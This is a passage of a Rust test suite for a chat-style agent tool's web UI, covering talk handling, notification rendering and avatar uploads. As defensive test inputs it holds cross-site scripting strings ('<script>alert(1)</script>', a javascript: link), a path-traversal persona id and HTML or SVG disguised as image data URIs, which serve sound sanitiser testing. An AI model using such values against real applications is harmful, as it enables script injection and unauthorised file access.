15255        assert_eq!(typed.status, 201, "{}", typed.body);
15256
15257        // The strict `agent` field still refuses an unknown id.
15258        let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
15259        assert!(
15260            !strict.status.to_string().starts_with('2'),
15261            "{}",
15262            strict.body
15263        );
15264    }
15265
15266    #[tokio::test]
15267    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
15268        let (_tmp, _repo, f) = talk_fixture().await;
15269
15270        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
15271        // is the ordinary way a phone opens a talk.
15272        let opened = f.post("/api/talks", None).await;
15273        assert_eq!(opened.status, 201, "{}", opened.body);
15274        let body = opened.json();
15275        assert_eq!(body["status"], "open");
15276        assert_eq!(
15277            body["turns"].as_array().unwrap().len(),
15278            0,
15279            "opening takes no agent turn: there is nothing yet to answer"
15280        );
15281
15282        // An explicit empty object is the same request as none at all.
15283        let also_opened = f.post("/api/talks", Some("{}")).await;
15284        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
15285
15286        let listed = f.get("/api/talks").await.json();
15287        assert_eq!(listed.as_array().unwrap().len(), 2);
15288    }
15289
15290    #[tokio::test]
15291    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
15292        let tmp = TempDir::new().expect("tempdir");
15293        let repo = tmp.path().join("repo");
15294        std::fs::create_dir_all(&repo).expect("repo dir");
15295        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
15296        std::fs::write(
15297            repo.join("magi.toml"),
15298            format!("{MOCK_AGENT_TOML}\n{second}"),
15299        )
15300        .expect("write magi.toml");
15301        let home = TempDir::new().expect("temp home");
15302        let talks = Talks::at(home.path().join("talks"));
15303        let ui = Arc::new(
15304            Ui::new(
15305                Queue::at(home.path().join("queue")),
15306                Questions::at(home.path().join("questions")),
15307                talks.clone(),
15308                home.path().join("runs"),
15309                home.path().to_path_buf(),
15310                repo.clone(),
15311            )
15312            .with_worktrees_root(home.path().join("wt")),
15313        );
15314        let cfg = config_for(&repo).await.expect("discover config");
15315        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15316        let id = talk.id.clone();
15317        let call = |agent: &str| {
15318            talk_agent(
15319                State(Arc::clone(&ui)),
15320                Path(id.clone()),
15321                Json(TalkAgent {
15322                    agent: agent.to_owned(),
15323                }),
15324            )
15325        };
15326
15327        let unknown = call("nobody").await.expect_err("unknown agent");
15328        assert_eq!(
15329            unknown.status,
15330            StatusCode::BAD_REQUEST,
15331            "{}",
15332            unknown.message
15333        );
15334
15335        {
15336            // Nothing refused so far took a claim, so the guard is free to take
15337            // and holding it is what makes the talk busy.
15338            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
15339            let busy = call("second").await.expect_err("busy talk");
15340            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
15341            assert!(
15342                busy.message.contains("a talk turn is running"),
15343                "{}",
15344                busy.message
15345            );
15346            drop(guard);
15347        }
15348        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
15349
15350        let Json(view) = call("second").await.expect("switch");
15351        assert_eq!(view.talk.agent, "second");
15352        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
15353        let saved = talks.get(&id).expect("reload");
15354        assert_eq!(saved.agent, "second");
15355        assert_eq!(saved.turns.len(), 1);
15356        assert!(!view.thinking);
15357        assert!(!ui.is_thinking(&id), "idle response must release the claim");
15358        for agent in ["mock", "second"] {
15359            let Json(view) = call(agent).await.expect("immediate consecutive change");
15360            assert_eq!(view.talk.agent, agent);
15361            assert!(!view.thinking);
15362            assert!(!ui.is_thinking(&id));
15363        }
15364
15365        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15366            .await
15367            .expect("detail");
15368        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
15369        assert_eq!(roster, ["mock", "second"]);
15370
15371        let mut closed = talks.get(&id).expect("reload");
15372        talk::close(&mut closed, &talks).expect("close");
15373        let refused = call("mock").await.expect_err("closed talk");
15374        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
15375        assert!(
15376            refused.message.contains("takes no more turns"),
15377            "{}",
15378            refused.message
15379        );
15380    }
15381
15382    #[tokio::test]
15383    async fn talk_implementers_validates_and_refuses_busy_or_closed() {
15384        let tmp = TempDir::new().expect("tempdir");
15385        let repo = tmp.path().join("repo");
15386        std::fs::create_dir_all(&repo).expect("repo dir");
15387        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15388        let home = TempDir::new().expect("temp home");
15389        let talks = Talks::at(home.path().join("talks"));
15390        let ui = Arc::new(
15391            Ui::new(
15392                Queue::at(home.path().join("queue")),
15393                Questions::at(home.path().join("questions")),
15394                talks.clone(),
15395                home.path().join("runs"),
15396                home.path().to_path_buf(),
15397                repo.clone(),
15398            )
15399            .with_worktrees_root(home.path().join("wt")),
15400        );
15401        let cfg = config_for(&repo).await.expect("discover config");
15402        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15403        let id = talk.id.clone();
15404        let call = |n: u8| {
15405            talk_implementers(
15406                State(Arc::clone(&ui)),
15407                Path(id.clone()),
15408                Json(TalkImplementers { implementers: n }),
15409            )
15410        };
15411
15412        for bad in [0u8, 4] {
15413            let e = call(bad).await.expect_err("out of range");
15414            assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
15415        }
15416        assert_eq!(talks.get(&id).expect("reload").implementers, 1);
15417
15418        {
15419            // Nothing refused so far took a claim, so the guard is free to take
15420            // and holding it is what makes the talk busy.
15421            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
15422            let busy = call(2).await.expect_err("busy talk");
15423            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
15424            assert!(
15425                busy.message.contains("a talk turn is running"),
15426                "{}",
15427                busy.message
15428            );
15429            drop(guard);
15430        }
15431
15432        let Json(view) = call(3).await.expect("switch");
15433        assert_eq!(view.talk.implementers, 3);
15434        assert!(talks.get(&id).expect("reload").implementers_dirty);
15435        assert!(!view.thinking);
15436        assert!(!ui.is_thinking(&id), "idle response must release the claim");
15437        for n in [1, 2, 3] {
15438            let Json(view) = call(n).await.expect("immediate consecutive change");
15439            assert_eq!(view.talk.implementers, n);
15440            assert!(!view.thinking);
15441            assert!(!ui.is_thinking(&id));
15442        }
15443
15444        let mut closed = talks.get(&id).expect("reload");
15445        talk::close(&mut closed, &talks).expect("close");
15446        let e = call(2).await.expect_err("closed talk");
15447        assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
15448        assert!(e.message.contains("takes no more turns"), "{}", e.message);
15449    }
15450
15451    /// A repo with `extra` appended to the mock agent's config, and a talk in it.
15452    async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
15453        let tmp = TempDir::new().expect("tempdir");
15454        let repo = tmp.path().join("repo");
15455        std::fs::create_dir_all(&repo).expect("repo dir");
15456        std::fs::write(
15457            repo.join("magi.toml"),
15458            format!("{MOCK_AGENT_TOML}\n{extra}"),
15459        )
15460        .expect("write magi.toml");
15461        let home = TempDir::new().expect("temp home");
15462        let talks = Talks::at(home.path().join("talks"));
15463        let ui = Arc::new(
15464            Ui::new(
15465                Queue::at(home.path().join("queue")),
15466                Questions::at(home.path().join("questions")),
15467                talks.clone(),
15468                home.path().join("runs"),
15469                home.path().to_path_buf(),
15470                repo.clone(),
15471            )
15472            .with_worktrees_root(home.path().join("wt")),
15473        );
15474        let cfg = config_for(&repo).await.expect("discover config");
15475        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15476        (tmp, home, ui, talk.id, repo)
15477    }
15478
15479    #[tokio::test]
15480    async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
15481        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15482        let mut conversation = ui.talks.get(&id).unwrap();
15483        talk::record(
15484            &mut conversation,
15485            &ui.talks,
15486            "# Update on a task you filed\noperator words",
15487            vec![],
15488        )
15489        .unwrap();
15490        // Simulate an old operator record; headings do not prove authorship.
15491        conversation.turns[0].sender = None;
15492        conversation.turns[0].messages.clear();
15493        ui.talks.put(&mut conversation).unwrap();
15494        talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
15495        talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
15496        talk::drain(&mut conversation, &ui.talks).unwrap();
15497        talk::record_reply(
15498            &mut conversation,
15499            &ui.talks,
15500            "about that report",
15501            vec![],
15502            Some(talk::ReplyTarget {
15503                turn: 1,
15504                message: 1,
15505            }),
15506        )
15507        .unwrap();
15508        conversation.turns[2].messages[0]
15509            .reply
15510            .as_mut()
15511            .unwrap()
15512            .sender = None;
15513        conversation.turns.push(talk::Turn {
15514            sender: Some(talk::Sender::Persona),
15515            who: talk::Who::Agent,
15516            body: "magi: actual persona words".into(),
15517            at: Timestamp::now(),
15518            attachments: vec![],
15519            usage: None,
15520            breaks: None,
15521            messages: vec![],
15522            posted_by: None,
15523        });
15524        ui.talks.put(&mut conversation).unwrap();
15525        let view = TalkView::with_config(
15526            ui.talks.get(&id).unwrap(),
15527            false,
15528            None,
15529            &ui.home,
15530            &ui.references,
15531        );
15532        assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
15533        assert_eq!(
15534            view.talk.turns[1].messages[0].sender,
15535            Some(talk::Sender::Operator)
15536        );
15537        assert_eq!(
15538            view.talk.turns[1].messages[1].sender,
15539            Some(talk::Sender::Magi)
15540        );
15541        assert_eq!(
15542            view.talk.turns[2].messages[0]
15543                .reply
15544                .as_ref()
15545                .unwrap()
15546                .sender,
15547            Some(talk::Sender::Magi)
15548        );
15549        assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
15550        assert_eq!(view.turn_messages_md[0].len(), 1);
15551        assert!(view.turn_messages_md[0][0].is_none());
15552        assert!(view.turn_messages_md[1][0].is_none());
15553        assert!(view.turn_messages_md[1][1].is_some());
15554    }
15555
15556    #[tokio::test]
15557    async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
15558        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15559        let mut conversation = ui.talks.get(&id).unwrap();
15560        let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
15561        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15562        let queue = |conversation: &mut talk::Talk| {
15563            talk::queue_semantic_notice(
15564                conversation,
15565                &ui.talks,
15566                &body,
15567                "watch:123",
15568                &|_| false,
15569                (
15570                    None,
15571                    None,
15572                    Some(crate::chat_control::standing::Event::Watch {
15573                        id: "watch-123".into(),
15574                    }),
15575                ),
15576                display.clone(),
15577            )
15578            .unwrap()
15579        };
15580        queue(&mut conversation);
15581        assert!(!queue(&mut conversation));
15582        let saved = ui.talks.get(&id).unwrap();
15583        assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
15584        let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
15585        assert!(
15586            view.talk.turns[0].messages[0].display.is_none(),
15587            "operator copy stays literal"
15588        );
15589        assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
15590        assert!(view.turn_messages_md[0][0].is_none());
15591        let queued_md = view.pending_messages_md[0].clone();
15592        assert_eq!(
15593            queued_md,
15594            Some(md::to_nodes(&display.facts, &md::ImageBase::None))
15595        );
15596        talk::drain(&mut conversation, &ui.talks).unwrap();
15597        talk::record_reply(
15598            &mut conversation,
15599            &ui.talks,
15600            "Explain",
15601            vec![],
15602            Some(talk::ReplyTarget {
15603                turn: 1,
15604                message: 0,
15605            }),
15606        )
15607        .unwrap();
15608        let mut saved = ui.talks.get(&id).unwrap();
15609        assert_eq!(saved.turns[1].messages[0].body, body);
15610        assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
15611        let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
15612        assert!(!reply.excerpt.contains("automatic report"));
15613        reply.excerpt = body.chars().take(240).collect(); // old saved quote
15614        saved.turns[1].messages[0].display = None; // old MAGI send
15615        ui.talks.put(&mut saved).unwrap();
15616        let view = TalkView::with_config(
15617            ui.talks.get(&id).unwrap(),
15618            false,
15619            None,
15620            &ui.home,
15621            &ui.references,
15622        );
15623        assert_eq!(view.turn_messages_md[1][0], queued_md);
15624        assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
15625        assert!(
15626            !view.talk.turns[2].messages[0]
15627                .reply
15628                .as_ref()
15629                .unwrap()
15630                .excerpt
15631                .contains("automatic report")
15632        );
15633        assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
15634    }
15635
15636    #[tokio::test]
15637    async fn consultation_display_hides_directives_in_queue_and_history() {
15638        for node in [
15639            "implement",
15640            crate::land::APPROVAL_NODE,
15641            crate::github_text::ASK_NODE,
15642        ] {
15643            let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15644            let mut question = Question::new(
15645                "run-123".into(),
15646                node.into(),
15647                "seat-1".into(),
15648                "Which backend?".into(),
15649                "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
15650                vec!["SQLite".into(), "Redis".into()],
15651            );
15652            ui.questions.put(&mut question).unwrap();
15653            let body = crate::prompt::chat_consult(&question);
15654            let mut conversation = ui.talks.get(&id).unwrap();
15655            talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15656            assert!(
15657                crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
15658            );
15659            conversation = ui.talks.get(&id).unwrap();
15660            assert_eq!(conversation.pending_messages[0].body, body);
15661            assert!(body.contains("magi answer"));
15662            let mut legacy_pending = conversation.clone();
15663            legacy_pending.pending_messages[0].display = None;
15664            let legacy_view =
15665                TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
15666            let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
15667            assert!(legacy_md.contains("Question consultation"));
15668            assert!(!legacy_md.contains("magi answer"));
15669            let view =
15670                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
15671            assert!(
15672                view.turn_messages_md[0][0].is_none(),
15673                "operator copy stays literal"
15674            );
15675            let queued_md = view.pending_messages_md[0].clone().unwrap();
15676            let rendered = serde_json::to_string(&queued_md).unwrap();
15677            for visible in [
15678                "Which backend?",
15679                "Context",
15680                "storage",
15681                "SQLite",
15682                "Redis",
15683                "<script>literal</script>",
15684            ] {
15685                assert!(rendered.contains(visible), "missing {visible}");
15686            }
15687            for directive in [
15688                "What to do",
15689                "magi answer",
15690                "Never answer it yourself",
15691                "Do not edit the repository",
15692            ] {
15693                assert!(!rendered.contains(directive), "exposed {directive}");
15694            }
15695            assert_eq!(
15696                view.talk.pending_messages[0].display,
15697                Some(crate::prompt::chat_consult_display(&question))
15698            );
15699            talk::drain(&mut conversation, &ui.talks).unwrap();
15700            let view =
15701                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
15702            assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
15703            assert_eq!(conversation.turns[1].messages[0].body, body);
15704
15705            // Historical consultations lack a snapshot: show a safe placeholder
15706            // rather than parsing instructions or reconstructing mutable facts.
15707            conversation.turns[1].messages[0].display = None;
15708            let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
15709            let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
15710            assert!(legacy.contains("Question consultation"));
15711            assert!(!legacy.contains("magi answer"));
15712            assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
15713        }
15714    }
15715
15716    #[test]
15717    fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
15718        let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
15719        let (body, mut display) =
15720            crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
15721        display.facts = facts.into();
15722        let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
15723        assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
15724        let json = serde_json::to_string(&nodes).unwrap();
15725        for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
15726            assert!(json.contains(&format!("\"type\":\"{kind}\"")));
15727        }
15728        assert!(json.contains("<script>alert(1)</script>"));
15729        assert!(!json.contains("javascript:"));
15730        assert!(!json.contains("Tell the operator"));
15731        assert!(!json.contains("untrusted"));
15732        assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
15733        assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
15734        assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
15735        assert_eq!(
15736            notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
15737            md::to_nodes("# Status", &md::ImageBase::None),
15738        );
15739    }
15740
15741    #[tokio::test]
15742    async fn notification_display_recovers_exact_legacy_completion_references() {
15743        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15744        let mut conversation = ui.talks.get(&id).unwrap();
15745        let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
15746            id: "task-123",
15747            title: "Change",
15748            status: "done",
15749            reason: None,
15750            run: Some("run-123"),
15751            pr: None,
15752            summary: Some("Merge state unknown"),
15753            verification: None,
15754            completion: None,
15755        });
15756        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15757        conversation.turns[0].sender = None;
15758        conversation.turns[0].messages.clear();
15759        conversation.turns[0].breaks = None;
15760        conversation.pending = body.clone();
15761        conversation
15762            .completion_notices
15763            .push(crate::chat_notify::CompletionReference {
15764                task: "task-123".into(),
15765                run: Some("run-123".into()),
15766                notice: body.clone(),
15767            });
15768        ui.talks.put(&mut conversation).unwrap();
15769        let view = TalkView::with_config(
15770            ui.talks.get(&id).unwrap(),
15771            false,
15772            None,
15773            &ui.home,
15774            &ui.references,
15775        );
15776        assert_eq!(
15777            view.talk.turns[0].messages[0].display,
15778            Some(display.clone())
15779        );
15780        assert_eq!(view.talk.pending_messages[0].display, Some(display));
15781        assert_eq!(
15782            view.talk.turns[0].messages[0].sender,
15783            Some(talk::Sender::Magi)
15784        );
15785        assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
15786        conversation.completion_notices[0]
15787            .notice
15788            .push_str("different");
15789        let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
15790        assert!(view.talk.turns[0].messages.is_empty());
15791        assert!(view.talk.pending_messages.is_empty());
15792    }
15793
15794    #[tokio::test]
15795    async fn avatar_settings_report_states_and_inherit_after_corruption() {
15796        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15797        let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
15798            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
15799        ))
15800        .await;
15801        let path = avatar_setting_path(home.path(), Some("rei"));
15802        let orphan = avatar_setting_path(home.path(), Some("removed"));
15803        save_icon_file(&orphan, icon).unwrap();
15804        for (saved, expected) in [
15805            (icon, "custom"),
15806            ("builtin", "builtin"),
15807            ("data:image/png;base64,!!!!", "inherit"),
15808            ("data:image/png;base64,PGh0bWw+", "inherit"),
15809            ("/tmp/avatar.png", "inherit"),
15810        ] {
15811            atomic_icon_write(&path, saved).unwrap();
15812            let catalog =
15813                avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
15814                    .await
15815                    .unwrap()
15816                    .0;
15817            let personas = catalog["personas"].as_array().unwrap();
15818            let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
15819            assert_eq!(rei["override_state"], expected);
15820            assert_eq!(rei["has_config_icon"], true);
15821            assert_eq!(rei["is_orphan"], false);
15822            let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
15823            assert_eq!(removed["override_state"], "custom");
15824            assert_eq!(removed["is_orphan"], true);
15825            let default = personas.iter().find(|p| p["id"] == "default").unwrap();
15826            assert_eq!(default["override_state"], "inherit");
15827            assert_eq!(default["has_config_icon"], false);
15828            let effective = effective_persona_icon(home.path(), "rei", Some(icon));
15829            assert_eq!(
15830                effective.as_deref(),
15831                Some(if expected == "builtin" { "" } else { icon })
15832            );
15833        }
15834    }
15835
15836    #[tokio::test]
15837    async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
15838        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15839        let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
15840            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
15841        ))
15842        .await;
15843        let target = |id: Option<&str>| AvatarSettingsQuery {
15844            persona: id.map(str::to_owned),
15845            ..Default::default()
15846        };
15847        let original_config = config_for(&repo).await.unwrap();
15848        let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
15849        let original_prompt = persona::section_for(&original_persona, None);
15850        let before = talk_detail(State(ui.clone()), Path(id.clone()))
15851            .await
15852            .unwrap()
15853            .0;
15854        for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
15855            let _ = avatar_settings_put(
15856                State(ui.clone()),
15857                Query(target(persona)),
15858                Json(MagiIconUpload { icon: icon.into() }),
15859            )
15860            .await
15861            .unwrap();
15862            let path = avatar_setting_path(home.path(), persona);
15863            assert!(path.starts_with(home.path().join("avatars")));
15864            assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
15865            for bad in [
15866                "/tmp/image.png".to_owned(),
15867                "data:image/png;base64,!!!!".to_owned(),
15868                "data:image/png;base64,PGh0bWw+".to_owned(),
15869                "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
15870                format!(
15871                    "data:image/png;base64,{}",
15872                    "A".repeat(persona_icon::ICON_MAX_BYTES)
15873                ),
15874            ] {
15875                assert!(
15876                    avatar_settings_put(
15877                        State(ui.clone()),
15878                        Query(target(persona)),
15879                        Json(MagiIconUpload { icon: bad })
15880                    )
15881                    .await
15882                    .is_err()
15883                );
15884                assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
15885            }
15886        }
15887        assert!(read_magi_icon(home.path()).is_none());
15888        assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
15889        let after = talk_detail(State(ui.clone()), Path(id.clone()))
15890            .await
15891            .unwrap()
15892            .0;
15893        assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
15894        assert_ne!(
15895            before
15896                .personas
15897                .iter()
15898                .find(|p| p.id == "magi")
15899                .unwrap()
15900                .avatar,
15901            after
15902                .personas
15903                .iter()
15904                .find(|p| p.id == "magi")
15905                .unwrap()
15906                .avatar
15907        );
15908        let restarted = Arc::new(Ui::new(
15909            Queue::at(home.path().join("queue")),
15910            Questions::at(home.path().join("questions")),
15911            Talks::at(home.path().join("talks")),
15912            home.path().join("runs"),
15913            home.path().to_owned(),
15914            repo,
15915        ));
15916        let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
15917            .await
15918            .unwrap()
15919            .0;
15920        assert!(
15921            catalog["personas"]
15922                .as_array()
15923                .unwrap()
15924                .iter()
15925                .any(|p| p["id"] == "../custom/日本語")
15926        );
15927        for expected in ["custom", "default", "rei"] {
15928            assert!(
15929                catalog["personas"]
15930                    .as_array()
15931                    .unwrap()
15932                    .iter()
15933                    .any(|p| p["id"] == expected)
15934            );
15935        }
15936        let response =
15937            operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
15938        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
15939        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
15940            .await
15941            .unwrap();
15942        assert_eq!(
15943            effective_persona_icon(home.path(), "rei", Some(icon)),
15944            Some(String::new())
15945        );
15946        let response = talk_avatar(
15947            State(restarted.clone()),
15948            Path(id.clone()),
15949            Query(AvatarQuery {
15950                persona: Some("rei".into()),
15951                ..Default::default()
15952            }),
15953        )
15954        .await
15955        .unwrap();
15956        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
15957        let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
15958            .await
15959            .unwrap()
15960            .0;
15961        assert_ne!(
15962            after
15963                .personas
15964                .iter()
15965                .find(|p| p.id == "rei")
15966                .unwrap()
15967                .avatar,
15968            reset
15969                .personas
15970                .iter()
15971                .find(|p| p.id == "rei")
15972                .unwrap()
15973                .avatar
15974        );
15975        let mut inherit = target(Some("rei"));
15976        inherit.inherit = Some("1".into());
15977        let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
15978            .await
15979            .unwrap();
15980        assert_eq!(
15981            effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
15982            Some(icon)
15983        );
15984        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
15985            .await
15986            .unwrap();
15987        assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
15988        assert_eq!(
15989            read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
15990            Some(icon)
15991        );
15992        // Display changes never rewrite the conversation or its prompt-bearing config.
15993        let cfg = config_for(&ui.repo).await.unwrap();
15994        let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
15995        assert_eq!(persona::section_for(&resolved, None), original_prompt);
15996        assert!(!original_prompt.contains("data:image"));
15997        assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
15998        let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
15999        assert!(!stored.contains("data:image"));
16000        let mut orphan = ui.talks.get(&id).unwrap();
16001        orphan.persona = "../custom/日本語".into();
16002        let view = TalkView::with_config(
16003            orphan,
16004            false,
16005            Some(&cfg),
16006            home.path(),
16007            &id_links::IndexCache::default(),
16008        );
16009        assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
16010    }
16011
16012    #[tokio::test]
16013    async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
16014        let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
16015        let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
16016        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
16017        let _ = magi_icon_put(
16018            State(ui.clone()),
16019            Json(MagiIconUpload { icon: icon.into() }),
16020        )
16021        .await
16022        .unwrap();
16023        let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
16024        assert_ne!(original, changed);
16025        assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
16026        let response = magi_avatar(
16027            State(ui.clone()),
16028            Query(AvatarQuery {
16029                persona: None,
16030                builtin: None,
16031            }),
16032        )
16033        .await;
16034        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
16035        assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
16036        assert_eq!(
16037            response.headers()[header::X_CONTENT_TYPE_OPTIONS],
16038            "nosniff"
16039        );
16040        for bad in [
16041            "data:image/png;base64,PGh0bWw+".to_owned(),
16042            "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
16043            "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
16044        ] {
16045            assert!(save_magi_icon(home.path(), &bad).is_err());
16046            assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
16047        }
16048        // Re-opened server state reads the same independent home file.
16049        let restarted = Arc::new(Ui::new(
16050            Queue::at(home.path().join("queue")),
16051            Questions::at(home.path().join("questions")),
16052            Talks::at(home.path().join("talks")),
16053            home.path().join("runs"),
16054            home.path().to_path_buf(),
16055            repo,
16056        ));
16057        assert_eq!(
16058            magi_icon_get(State(restarted.clone())).await.0["avatar"],
16059            changed
16060        );
16061        let view = TalkView::with_config(
16062            restarted.talks.get(&id).unwrap(),
16063            false,
16064            None,
16065            &restarted.home,
16066            &restarted.references,
16067        );
16068        assert_eq!(view.magi_avatar, changed.as_str().unwrap());
16069        std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
16070        let response = magi_avatar(
16071            State(ui.clone()),
16072            Query(AvatarQuery {
16073                persona: None,
16074                builtin: None,
16075            }),
16076        )
16077        .await;
16078        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
16079            .await
16080            .unwrap();
16081        assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
16082        let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
16083        assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
16084        let _ = magi_icon_delete(State(ui)).await.unwrap();
16085    }
16086
16087    /// `(status, content-type, nosniff, csp, body)` of one avatar request.
16088    async fn avatar(
16089        ui: &Arc<Ui>,
16090        id: &str,
16091        persona: Option<&str>,
16092        builtin: bool,
16093    ) -> (StatusCode, String, bool, bool, Vec<u8>) {
16094        let res = talk_avatar(
16095            State(Arc::clone(ui)),
16096            Path(id.to_owned()),
16097            Query(AvatarQuery {
16098                persona: persona.map(str::to_owned),
16099                builtin: builtin.then(|| "1".to_owned()),
16100            }),
16101        )
16102        .await
16103        .expect("an avatar is never an error response");
16104        let h = res.headers();
16105        let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
16106        let nosniff = h
16107            .get(header::X_CONTENT_TYPE_OPTIONS)
16108            .is_some_and(|v| v == "nosniff");
16109        let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
16110        let status = res.status();
16111        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
16112            .await
16113            .expect("body")
16114            .to_vec();
